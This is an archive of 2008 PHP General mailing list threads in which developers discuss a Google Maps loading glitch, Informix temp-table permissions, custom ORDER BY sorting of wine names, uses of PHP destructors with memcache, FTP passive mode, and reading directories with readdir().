Re: [PHP] Another question about Google maps
Well, it shows up for FFox v2 and v3 on Windows XP as well. I managed to replicate it by shift+refreshing the page. I also managed to stop it mid load by setting Firefox to 'Work Offline' just as it displayed the flash of both boxes. Using the Web Developer plugin for FFox I can tell you that the top box has a class of '.gsmsc-mapDiv' while the bottom div one is '.gsmsc-idleMapDiv', and both are wrapped in the '.gsmsc-appContainer' div, and also the '#mapsearch' div. I've not played with google maps enough, but doubt the above helps, I just but know that it's not a PHP issue. It's almost like a flash of unstyled content http://www.bluerobot.com/web/css/fouc.asp/, but is being generated because of the javascript. I hid the '.gsmsc-mapDiv' which stopped the flash of both box boxes appearing, and I could view the map, but caused the map to disappear after I tried searching for a different Google Maps location. Michael Kubler *G*rey *P*hoenix *P*roductions http://www.greyphoenix.biz tedd wrote: Hi gang: I posted this question on the Google Map Discussion group/list thingie, but got zip in replies. Maybe someone here might have an idea. Here's the url: http://masoncollision.com/contact.php In both Safari and FireFox for the Mac (I have not tested it with other browsers) as the page loads the map border is momentary drawn twice. The map border is shown stacked one above the other making the page much longer than it actually is. But immediately thereafter, the map is drawn correctly and the page returns to the size it's supposed to be. I just want to get rid of the momentary flash. Anyone have any ideas? Cheers and thanks, tedd
Re: [PHP] Another question about Google maps
At 1:29 AM +1030 11/17/08, Michael Kubler wrote: Well, it shows up for FFox v2 and v3 on Windows XP as well. I managed to replicate it by shift+refreshing the page. I also managed to stop it mid load by setting Firefox to 'Work Offline' just as it displayed the flash of both boxes. Using the Web Developer plugin for FFox I can tell you that the top box has a class of '.gsmsc-mapDiv' while the bottom div one is '.gsmsc-idleMapDiv', and both are wrapped in the '.gsmsc-appContainer' div, and also the '#mapsearch' div. I've not played with google maps enough, but doubt the above helps, I just but know that it's not a PHP issue. It's almost like a flash of unstyled content http://www.bluerobot.com/web/css/fouc.asp/, but is being generated because of the javascript. I hid the '.gsmsc-mapDiv' which stopped the flash of both box boxes appearing, and I could view the map, but caused the map to disappear after I tried searching for a different Google Maps location. Michael Kubler *G*rey *P*hoenix *P*roductions http://www.greyphoenix.biz Michael Thanks very much for your time looking into this. It IS very similar of FOUC and I looked into that as a possible problem/solution. I think you can see why I didn't get a reply from my Google post -- it's one of those problems that Google has, but doesn't yet understand it well enough to fix it. Too busy with new stuff *. I may have to hide the map via css and then change display after load -- I just didn't want to go that route IF there was a better way. Thanks again, tedd PS: * I really like Google's Analytics, but hate all the javascript errors it generates in FF firebug. -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CREATE question
AFAIK, the query commands just pass the query to the DB engine. The DB decides whether or not to execute. You need special permissions in mssql and mysql to create things. I don't know about informix. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Dan Shirah wrote: All, Is it possible for us to use PHP to create temp tables in our database? Ironically, up until this point I have only needed to use SELECT statements. But now, to speed up the processing time of a large query I would like to create a temp table and then reference the temp table in another query. I've tried stuff like the below: $temp_query = create temp table my_temp_table( date date, code char(3), loc char(3), time DATETIME HOUR TO MINUTE, matter_id int, name char(25) ) WITH NO LOG; $do_query = ifx_query($temp_query, $connect_id); But all that does is give me an ifx_prepare fails message. Can we not use the ifx_query, mssql_query, mysql_query functions to create tables? Can they only be used to select data? Thanks in advance, Dan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CREATE question
On Thu, Oct 30, 2008 at 2:19 PM, Dan Shirah [EMAIL PROTECTED] wrote: Is it possible for us to use PHP to create temp tables in our database? [snip!] But all that does is give me an ifx_prepare fails message. (Forwarded to PHP-DB as well.) Dan, make sure Informix is set to allow that user to use the CREATE syntax. Also, not sure about IFX, but with other SQL databases - including MySQL - you have to use the full word `TEMPORARY`, not just `TEMP`. -- /Daniel P. Brown http://www.parasane.net/ [EMAIL PROTECTED] || [EMAIL PROTECTED] Ask me about our current hosting/dedicated server deals! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CREATE question
On 10/30/08, Daniel Brown [EMAIL PROTECTED] wrote: On Thu, Oct 30, 2008 at 2:19 PM, Dan Shirah [EMAIL PROTECTED] wrote: Is it possible for us to use PHP to create temp tables in our database? [snip!] But all that does is give me an ifx_prepare fails message. (Forwarded to PHP-DB as well.) Dan, make sure Informix is set to allow that user to use the CREATE syntax. Also, not sure about IFX, but with other SQL databases - including MySQL - you have to use the full word `TEMPORARY`, not just `TEMP`. -- /Daniel P. Brown http://www.parasane.net/ [EMAIL PROTECTED] || [EMAIL PROTECTED] Ask me about our current hosting/dedicated server deals! Ah! You both may be right. I was running my entire using AQT and it ran fine without any problems but once I pulled it into my web application it took a swan dive. You're probably totally right, of course it could create it in AQT because I'm connecting to it with my credentials, whereas the web application is connecting as a different user. Thanks guys, I'll check out my permissions and hopefully that's all it is. Just an FYI, the use of temp instead of temporary does work in Informix :)
[PHP] Re: PHP/mySQL question using ORDER BY with logic
Rob Gould schrieb: Question about mySQL and PHP, when using the mySQL ORDER BY method... Basically I've got data coming from the database where a wine producer-name is a word like: Château Bahans Haut-Brion or La Chapelle de La Mission Haut-Brion or Le Clarence de Haut-Brion but I need to ORDER BY using a varient of the string: 1) If it begins with Château, don't include Chateau in the string to order by. 2) If it begins with La, don't order by La, unless the first word is Chateau, and then go ahead and order by La. Example sort: Notice how the producer as-in comes before the parenthesis, but the ORDER BY actually occurs after a re-ordering of the producer-string, using the above rules. Red: Château Bahans Haut-Brion (Bahans Haut-Brion, Château ) Red: La Chapelle de La Mission Haut-Brion (Chapelle de La Mission Haut-Brion, La ) Red: Le Clarence de Haut-Brion (Clarence de Haut-Brion, Le ) Red: Château Haut-Brion (Haut-Brion, Château ) Red: Château La Mission Haut-Brion (La Mission Haut-Brion, Château ) Red: Domaine de La Passion Haut Brion (La Passion Haut Brion, Domaine de ) Red: Château La Tour Haut-Brion (La Tour Haut-Brion, Château ) Red: Château Larrivet-Haut-Brion (Larrivet-Haut-Brion, Château ) Red: Château Les Carmes Haut-Brion (Les Carmes Haut-Brion, Château ) That logic between mySQL and PHP, I'm just not sure how to accomplish? I think it might involve a mySQL alias-technique but I could be wrong. Right now, my PHP call to generate the search is this: $query = 'SELECT * FROM wine WHERE MATCH(producer, varietal, appellation, designation, region, vineyard, subregion, country, vintage) AGAINST ( ' . $searchstring . ') ORDER BY producer LIMIT 0,100'; Hi, Try to solve your Logic on your programming language and to select Data with your Database... Try to normalize more your Information on the Database. Regars Carlos -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: PHP/mySQL question using ORDER BY with logic
Robert Cummings wrote: On Fri, 2008-10-24 at 00:18 -0400, Rob Gould wrote: Question about mySQL and PHP, when using the mySQL ORDER BY method... Basically I've got data coming from the database where a wine producer-name is a word like: Château Bahans Haut-Brion or La Chapelle de La Mission Haut-Brion or Le Clarence de Haut-Brion but I need to ORDER BY using a varient of the string: 1) If it begins with Château, don't include Chateau in the string to order by. 2) If it begins with La, don't order by La, unless the first word is Chateau, and then go ahead and order by La. Example sort: Notice how the producer as-in comes before the parenthesis, but the ORDER BY actually occurs after a re-ordering of the producer-string, using the above rules. Red: Château Bahans Haut-Brion (Bahans Haut-Brion, Château ) Red: La Chapelle de La Mission Haut-Brion (Chapelle de La Mission Haut-Brion, La ) Red: Le Clarence de Haut-Brion (Clarence de Haut-Brion, Le ) Red: Château Haut-Brion (Haut-Brion, Château ) Red: Château La Mission Haut-Brion (La Mission Haut-Brion, Château ) Red: Domaine de La Passion Haut Brion (La Passion Haut Brion, Domaine de ) Red: Château La Tour Haut-Brion (La Tour Haut-Brion, Château ) Red: Château Larrivet-Haut-Brion (Larrivet-Haut-Brion, Château ) Red: Château Les Carmes Haut-Brion (Les Carmes Haut-Brion, Château ) That logic between mySQL and PHP, I'm just not sure how to accomplish? I think it might involve a mySQL alias-technique but I could be wrong. Right now, my PHP call to generate the search is this: $query = 'SELECT * FROM wine WHERE MATCH(producer, varietal, appellation, designation, region, vineyard, subregion, country, vintage) AGAINST ( ' . $searchstring . ') ORDER BY producer LIMIT 0,100'; Maybe there's a good way to do it with the table as is... but I'm doubtful. I would create a second field that contains a pre-processed version of the name that performs stripping to achieve what you want. This could be done by a PHP script when the data is inserted into the database, or if not possible like that, then a cron job could run once in a while, check for entries with this field empty and generate it. Yeah I'd suspect that the storage overhead is nothing compared to the speed increase you'll get during the read operations if you don't have to dick around with the data :) (yes I'm comparing bits to time, but I don't have time to explain that bit). Col -- Colin Guthrie gmane(at)colin.guthr.ie http://colin.guthr.ie/ Day Job: Tribalogic Limited [http://www.tribalogic.net/] Open Source: Mandriva Linux Contributor [http://www.mandriva.com/] PulseAudio Hacker [http://www.pulseaudio.org/] Trac Hacker [http://trac.edgewall.org/] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
On 22 Oct 2008, at 00:22, Jochem Maas wrote: Stut schreef: I use destructors to update dirty objects in memcache. care to eloborate ... sounds interesting. Nothing complicated. The core objects in my application are all cached in memcache. If anything changes in an object it changes an internal flag to indicate that it's dirty. The destructor checks that flag and if the object is dirty it updates the cached version (the DB version having been updated as changes were made). I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. not sure if I find that of much use, I see the validity but 1 LOC to eplicitly output a page footer seems to me to be less of a wtf than an(other) bit of auto-magic to save what is probably a very short simple method call. It's one of the things that help to keep my controllers clean. The pattern goes something like this... $page = Layout::Create('style'); $page-title = 'This is the page title'; $page-keywords = 'shiny,happy,page'; $page-description = 'It\'s a shiny happy page.'; $page-Start(); $data = array(); // Business logic here populating $data with vars for the page template $page-Render('dir/to/template.tpl.php', $data); I've found that pattern works very well for me and not having to worry about calling a method to output the footer it just one feature of a very useful templating system. They're far from useless. true. but they are limited, there is no garantee any other object will still exist when a particular dtor is run [at shutdown] which means a heavy OO codebase cannot have object automated object interaction at shutdown ... there are other gotchas (e.g. closed file descriptors to STDIN/STDOUT) Agreed, you do need to be careful depending on what you want to achieve. You've gotta remember that PHP is not (yet) an OOP language at heart. interaction with memcache though is a really good example. and I'd like to learn a little more :-D And I hope you did ;) -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
Stut schreef: On 22 Oct 2008, at 00:22, Jochem Maas wrote: Stut schreef: I use destructors to update dirty objects in memcache. care to eloborate ... sounds interesting. Nothing complicated. The core objects in my application are all cached in memcache. If anything changes in an object it changes an internal flag to indicate that it's dirty. The destructor checks that flag and if the object is dirty it updates the cached version (the DB version having been updated as changes were made). aha, I see, I take it these data object first check memcache for their data before possibly making an attempt to hit the DB for data. in your experience would dumping a result set of 50-60 rows from mysql into memcache as a single entry be 'correct' - from my reading/playing with memcache I don't see an issue but I was wondering if you had an opinion on max. size of data for a single entry? I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. not sure if I find that of much use, I see the validity but 1 LOC to eplicitly output a page footer seems to me to be less of a wtf than an(other) bit of auto-magic to save what is probably a very short simple method call. It's one of the things that help to keep my controllers clean. The pattern goes something like this... $page = Layout::Create('style'); $page-title = 'This is the page title'; $page-keywords = 'shiny,happy,page'; $page-description = 'It\'s a shiny happy page.'; $page-Start(); $data = array(); // Business logic here populating $data with vars for the page template $page-Render('dir/to/template.tpl.php', $data); I've found that pattern works very well for me and not having to worry about calling a method to output the footer it just one feature of a very useful templating system. package it up and call it VUTS :-) They're far from useless. true. but they are limited, there is no garantee any other object will still exist when a particular dtor is run [at shutdown] which means a heavy OO codebase cannot have object automated object interaction at shutdown ... there are other gotchas (e.g. closed file descriptors to STDIN/STDOUT) Agreed, you do need to be careful depending on what you want to achieve. You've gotta remember that PHP is not (yet) an OOP language at heart. interaction with memcache though is a really good example. and I'd like to learn a little more :-D And I hope you did ;) yes, thanks for the info! -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
On Tue, Oct 21, 2008 at 5:14 PM, Stut [EMAIL PROTECTED] wrote: When a script ends everything is released (with some small exceptions), thus also all references to instances of classes. Thus AFAIK a deconstructor will always be called at the end of script execution. but you have no control over what order dtors are called and you can't make any assumptions about state of file handles to STDIN/STDOUT and things like that ... personally I find dtors run at end of script to be nigh on useless. I use destructors to update dirty objects in memcache. I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. Never any issues this way? They always run without a hitch? -- -Dan Joseph www.canishosting.com - Plans start @ $1.99/month. Build a man a fire, and he will be warm for the rest of the day. Light a man on fire, and will be warm for the rest of his life.
Re: [PHP] Re: Question about __destruct()
On Wed, Oct 22, 2008 at 9:42 AM, Dan Joseph [EMAIL PROTECTED] wrote: On Tue, Oct 21, 2008 at 5:14 PM, Stut [EMAIL PROTECTED] wrote: When a script ends everything is released (with some small exceptions), thus also all references to instances of classes. Thus AFAIK a deconstructor will always be called at the end of script execution. but you have no control over what order dtors are called and you can't make any assumptions about state of file handles to STDIN/STDOUT and things like that ... personally I find dtors run at end of script to be nigh on useless. I use destructors to update dirty objects in memcache. I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. Never any issues this way? They always run without a hitch? -- -Dan Joseph www.canishosting.com - Plans start @ $1.99/month. Build a man a fire, and he will be warm for the rest of the day. Light a man on fire, and will be warm for the rest of his life. Don't throw exceptions in your dtors. Hilarity will not ensue. There are some good use cases for them as others have stated, but I'd recommend staying away unless you really need it. I've only ever used dtors for closing query results and gd resources. Trivial stuff to just try and lower the memory usage but isn't really necessary. In general though I stay away from them as most of my code is front-end meaning everything is tore down at the end of the request anyways. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
On 22 Oct 2008, at 14:42, Dan Joseph wrote: On Tue, Oct 21, 2008 at 5:14 PM, Stut [EMAIL PROTECTED] wrote: When a script ends everything is released (with some small exceptions), thus also all references to instances of classes. Thus AFAIK a deconstructor will always be called at the end of script execution. but you have no control over what order dtors are called and you can't make any assumptions about state of file handles to STDIN/STDOUT and things like that ... personally I find dtors run at end of script to be nigh on useless. I use destructors to update dirty objects in memcache. I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. Never any issues this way? They always run without a hitch? Not had any issues to far, and it's being used on some pretty busy sites and various PHP versions and several different web servers. -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
On 22 Oct 2008, at 09:35, Jochem Maas wrote: Stut schreef: On 22 Oct 2008, at 00:22, Jochem Maas wrote: Stut schreef: I use destructors to update dirty objects in memcache. care to eloborate ... sounds interesting. Nothing complicated. The core objects in my application are all cached in memcache. If anything changes in an object it changes an internal flag to indicate that it's dirty. The destructor checks that flag and if the object is dirty it updates the cached version (the DB version having been updated as changes were made). aha, I see, I take it these data object first check memcache for their data before possibly making an attempt to hit the DB for data. in your experience would dumping a result set of 50-60 rows from mysql into memcache as a single entry be 'correct' - from my reading/ playing with memcache I don't see an issue but I was wondering if you had an opinion on max. size of data for a single entry? There is a size limit known as the slab size. I believe by default this is set to 1MB. The only thing to bear in mind is the network traffic you'll be creating when you store large objects. You need to weigh up the size against how often you'll be retrieving it. Personally, if I were anywhere over a few kB in a single entry I'd look at whether I really need everything in that entry each time or if it's possible to break it up into smaller pieces. I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. not sure if I find that of much use, I see the validity but 1 LOC to eplicitly output a page footer seems to me to be less of a wtf than an(other) bit of auto-magic to save what is probably a very short simple method call. It's one of the things that help to keep my controllers clean. The pattern goes something like this... $page = Layout::Create('style'); $page-title = 'This is the page title'; $page-keywords = 'shiny,happy,page'; $page-description = 'It\'s a shiny happy page.'; $page-Start(); $data = array(); // Business logic here populating $data with vars for the page template $page-Render('dir/to/template.tpl.php', $data); I've found that pattern works very well for me and not having to worry about calling a method to output the footer it just one feature of a very useful templating system. package it up and call it VUTS :-) SVUTS!!! They're far from useless. true. but they are limited, there is no garantee any other object will still exist when a particular dtor is run [at shutdown] which means a heavy OO codebase cannot have object automated object interaction at shutdown ... there are other gotchas (e.g. closed file descriptors to STDIN/STDOUT) Agreed, you do need to be careful depending on what you want to achieve. You've gotta remember that PHP is not (yet) an OOP language at heart. interaction with memcache though is a really good example. and I'd like to learn a little more :-D And I hope you did ;) yes, thanks for the info! Sharing is good mmm'kay! -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
On Wed, Oct 22, 2008 at 2:29 PM, Stut [EMAIL PROTECTED] wrote: Never any issues this way? They always run without a hitch? Not had any issues to far, and it's being used on some pretty busy sites and various PHP versions and several different web servers. Terrific! Thanks for the information! -- -Dan Joseph www.canishosting.com - Plans start @ $1.99/month. Build a man a fire, and he will be warm for the rest of the day. Light a man on fire, and will be warm for the rest of his life.
Re: [PHP] Re: Question about __destruct()
Mike van Riel schreef: Dan Joseph wrote: Hi, I want to make sure I completely understand __destruct() and when its hit... Understand that it will run if all references to a particular object are removed, but is that also true when a page ends its execution? Example, I call a database class. It constructs, connects, then my page pulls some stuff out of the database, and then the php script ends. Does this also cause the deconstruct to execute? When a script ends everything is released (with some small exceptions), thus also all references to instances of classes. Thus AFAIK a deconstructor will always be called at the end of script execution. but you have no control over what order dtors are called and you can't make any assumptions about state of file handles to STDIN/STDOUT and things like that ... personally I find dtors run at end of script to be nigh on useless. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
On 21 Oct 2008, at 22:08, Jochem Maas wrote: Mike van Riel schreef: Dan Joseph wrote: Hi, I want to make sure I completely understand __destruct() and when its hit... Understand that it will run if all references to a particular object are removed, but is that also true when a page ends its execution? Example, I call a database class. It constructs, connects, then my page pulls some stuff out of the database, and then the php script ends. Does this also cause the deconstruct to execute? When a script ends everything is released (with some small exceptions), thus also all references to instances of classes. Thus AFAIK a deconstructor will always be called at the end of script execution. but you have no control over what order dtors are called and you can't make any assumptions about state of file handles to STDIN/STDOUT and things like that ... personally I find dtors run at end of script to be nigh on useless. I use destructors to update dirty objects in memcache. I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. They're far from useless. -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question about __destruct()
Stut schreef: On 21 Oct 2008, at 22:08, Jochem Maas wrote: Mike van Riel schreef: Dan Joseph wrote: Hi, I want to make sure I completely understand __destruct() and when its hit... Understand that it will run if all references to a particular object are removed, but is that also true when a page ends its execution? Example, I call a database class. It constructs, connects, then my page pulls some stuff out of the database, and then the php script ends. Does this also cause the deconstruct to execute? When a script ends everything is released (with some small exceptions), thus also all references to instances of classes. Thus AFAIK a deconstructor will always be called at the end of script execution. but you have no control over what order dtors are called and you can't make any assumptions about state of file handles to STDIN/STDOUT and things like that ... personally I find dtors run at end of script to be nigh on useless. I use destructors to update dirty objects in memcache. care to eloborate ... sounds interesting. I also use them in my template class to optionally automagically output the footer without needing an explicit call on each page. not sure if I find that of much use, I see the validity but 1 LOC to eplicitly output a page footer seems to me to be less of a wtf than an(other) bit of auto-magic to save what is probably a very short simple method call. They're far from useless. true. but they are limited, there is no garantee any other object will still exist when a particular dtor is run [at shutdown] which means a heavy OO codebase cannot have object automated object interaction at shutdown ... there are other gotchas (e.g. closed file descriptors to STDIN/STDOUT) interaction with memcache though is a really good example. and I'd like to learn a little more :-D -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] ftp_pasv - question
jogisarge [EMAIL PROTECTED] wrote: hello @all, i have to change my ftp connection in passive mode. now i am not sure, where i have to place the ftp_pasv statement. do i have to place it after ftp_connect or after ftp_login, or ... i hope somebody can help me ! by jogi Sure, RTFM as it has examples right there! http://us2.php.net/ftp_pasv HTH, Wolf -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
When I need to do 'filesystem' type things I use MySQL to map all of the files. This offers lot's of versatility in that you could just make a single folder called filesystem and have all of your files in the root of that folder - then use mysql to map virtual folders and structures and such. 2008/9/12 Jochem Maas [EMAIL PROTECTED] Nathan Rixham schreef: Jochem Maas wrote: Nathan Rixham schreef: Stut wrote: maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include which would give an error on second and subsequent define()s yet if(!defined... it's already defined so won't be defined subsequent times :) my bad still crap though yes :-P -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- Luke Slater
Re: [PHP] Readdir() question
Luke schreef: When I need to do 'filesystem' type things I use MySQL to map all of the files. This offers lot's of versatility in that you could just make a single folder called filesystem and have all of your files in the root of that folder - then use mysql to map virtual folders and structures and such. I don't understand what you mean, can you elaborate? 2008/9/12 Jochem Maas [EMAIL PROTECTED] Nathan Rixham schreef: Jochem Maas wrote: Nathan Rixham schreef: Stut wrote: maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include which would give an error on second and subsequent define()s yet if(!defined... it's already defined so won't be defined subsequent times :) my bad still crap though yes :-P -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
Ok, one folder on your webserver, and put all of the files that you want to include on your website/system in this folder (also uploading into this folder); just in the root of that folder, so say you wouldn't have anymore folders under it. Make a table called 'Files,' containing: ID Name Type true_location virtual_location (or similar depending on your needs, you might also want a folders table, perhaps this will increase speed if you are visually displaying the entire display system.) the Name, name of the file Type, type of file, I have this in just so i can easily tell what file it is and what to do without having to execute more scripts. true_location, the real location and filename of the file that is placed in your file virtual_location, made up location that forms your filesystem The advantages of mapping real files in a virtual location is that you and the user can interact with the virtual location like it is really mapped and keep the versatility of MySQL. Since reading several pieces of information from MySQL is much faster than reading from files to get it. For an upload system you would need to write a PHP script on the upload of the file to add entries to the table. If you are initially placing many files in there you may want to write a perl/shell/php script to enter all of the initial file entries for the table for you. 2008/9/12 Jochem Maas [EMAIL PROTECTED] Luke schreef: When I need to do 'filesystem' type things I use MySQL to map all of the files. This offers lot's of versatility in that you could just make a single folder called filesystem and have all of your files in the root of that folder - then use mysql to map virtual folders and structures and such. I don't understand what you mean, can you elaborate? 2008/9/12 Jochem Maas [EMAIL PROTECTED] Nathan Rixham schreef: Jochem Maas wrote: Nathan Rixham schreef: Stut wrote: maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include which would give an error on second and subsequent define()s yet if(!defined... it's already defined so won't be defined subsequent times :) my bad still crap though yes :-P -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- Luke Slater defiance.bounceme.net/dinosaur/
Re: [PHP] Readdir() question
Luke wrote: Ok, one folder on your webserver, and put all of the files that you want to include on your website/system in this folder (also uploading into this folder); just in the root of that folder, so say you wouldn't have anymore folders under it. Make a table called 'Files,' containing: ID Name Type true_location virtual_location (or similar depending on your needs, you might also want a folders table, perhaps this will increase speed if you are visually displaying the entire display system.) the Name, name of the file Type, type of file, I have this in just so i can easily tell what file it is and what to do without having to execute more scripts. true_location, the real location and filename of the file that is placed in your file virtual_location, made up location that forms your filesystem The advantages of mapping real files in a virtual location is that you and the user can interact with the virtual location like it is really mapped and keep the versatility of MySQL. Since reading several pieces of information from MySQL is much faster than reading from files to get it. For an upload system you would need to write a PHP script on the upload of the file to add entries to the table. If you are initially placing many files in there you may want to write a perl/shell/php script to enter all of the initial file entries for the table for you. 2008/9/12 Jochem Maas [EMAIL PROTECTED] Luke schreef: When I need to do 'filesystem' type things I use MySQL to map all of the files. This offers lot's of versatility in that you could just make a single folder called filesystem and have all of your files in the root of that folder - then use mysql to map virtual folders and structures and such. I don't understand what you mean, can you elaborate? 2008/9/12 Jochem Maas [EMAIL PROTECTED] Nathan Rixham schreef: Jochem Maas wrote: Nathan Rixham schreef: Stut wrote: maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include which would give an error on second and subsequent define()s yet if(!defined... it's already defined so won't be defined subsequent times :) my bad still crap though yes :-P -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php i just use DirectoryIterator combined with DOMDocument to create nested deep directory listing xml files that I can use in any application; i find the over head v low; and if it was to go high; I'd just cache the results :p -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Readdir() question
-Original Message- From: Luke [mailto:[EMAIL PROTECTED] Sent: Friday, September 12, 2008 7:13 AM To: Jochem Maas Cc: [EMAIL PROTECTED]; php-general@lists.php.net Subject: Re: [PHP] Readdir() question Ok, one folder on your webserver, and put all of the files that you want to include on your website/system in this folder (also uploading into this folder); just in the root of that folder, so say you wouldn't have anymore folders under it. Make a table called 'Files,' containing: ID Name Type true_location virtual_location (or similar depending on your needs, you might also want a folders table, perhaps this will increase speed if you are visually displaying the entire display system.) the Name, name of the file Type, type of file, I have this in just so i can easily tell what file it is and what to do without having to execute more scripts. true_location, the real location and filename of the file that is placed in your file virtual_location, made up location that forms your filesystem The advantages of mapping real files in a virtual location is that you and the user can interact with the virtual location like it is really mapped and keep the versatility of MySQL. Since reading several pieces of information from MySQL is much faster than reading from files to get it. For an upload system you would need to write a PHP script on the upload of the file to add entries to the table. If you are initially placing many files in there you may want to write a perl/shell/php script to enter all of the initial file entries for the table for you. ---8--- snip It would get a bit ugly when you started having files with the same name being stored in that physical directory. Obviously, there are ways to combat this (tack an identifier onto the file name, etc.) but it seems like it's too much work when there is already a methodology in place that works--the underlying filesystem. I guess it would be faster if you cached file attributes (last mod time, owner, etc.) every now and again on some sort of schedule, and read the attributes from the table instead of the file itself... but you've still got to do it in the scheduled job, and your data is stale. Maybe that's okay, maybe that's not. Todd Boyd Web Programmer -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
On 11 Sep 2008, at 13:12, Ben Stones wrote: I'm going to make a small browser based file system for ease of small updates that I make frequently on my Website. First of all I want to loop all the files on the same directory and to tell PHP read the same directory, I think I'd need to use the magic constant I think its called, __DIR__ such as: ?php $dir=opendir(__DIR__); while($files=readdir($dir)) { echo $files; } ? But I get a few errors: *Warning*: opendir(__DIR__) [function.opendir]: failed to open dir: No error in *C:\wamp\www\Project1\index.php* on line *2* *Warning*: readdir(): supplied argument is not a valid Directory resource in *C:\wamp\www\Project1\index.php* on line *3 *Any help in the right direction will be appreciated! __DIR__ is not a valid constant (yet, I think it may be planned for 5.3/6). You should be developing with notices on - this would have told you __DIR__ is wrong. Use dirname(__FILE__) to get what you're after. -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Readdir() question
[snip] I'm going to make a small browser based file system for ease of small updates that I make frequently on my Website. First of all I want to loop all the files on the same directory and to tell PHP read the same directory, I think I'd need to use the magic constant I think its called, __DIR__ such as: ?php $dir=opendir(__DIR__); while($files=readdir($dir)) { echo $files; } ? But I get a few errors: *Warning*: opendir(__DIR__) [function.opendir]: failed to open dir: No error in *C:\wamp\www\Project1\index.php* on line *2* *Warning*: readdir(): supplied argument is not a valid Directory resource in *C:\wamp\www\Project1\index.php* on line *3 *Any help in the right direction will be appreciated! [/snip] This really is not the proper use if __DIR__ as it is based on a file that you are trying to open. This is equivalent to dirname(__FILE__). which will give you the path of the __FILE__ and hence the directory of that file. In your case you should specify the file path in $dir -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
Ben Stones schreef: Hi, I'm going to make a small browser based file system for ease of small updates that I make frequently on my Website. First of all I want to loop all the files on the same directory and to tell PHP read the same directory, I think I'd need to use the magic constant I think its called, __DIR__ such as: __DIR__ does not exist unless your using php5.3 ... and your not. your still not bothering to develop with error_reporting set to 'full' namely E_ALL | E_STRICT, probably it's set to E_ALL ^ E_NOTICE ... no idea what I'm talking about? read this: http://php.net/error_reporting ?php $dir=opendir(__DIR__); while($files=readdir($dir)) { echo $files; } ? But I get a few errors: code you write should check for errors, namely checking to see whether opendir() failed or not, if it did fail output don't try to loop through the files using readdir(), output an error message or something instead. *Warning*: opendir(__DIR__) [function.opendir]: failed to open dir: No error in *C:\wamp\www\Project1\index.php* on line *2* *Warning*: readdir(): supplied argument is not a valid Directory resource in *C:\wamp\www\Project1\index.php* on line *3 *Any help in the right direction will be appreciated! Cheers. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
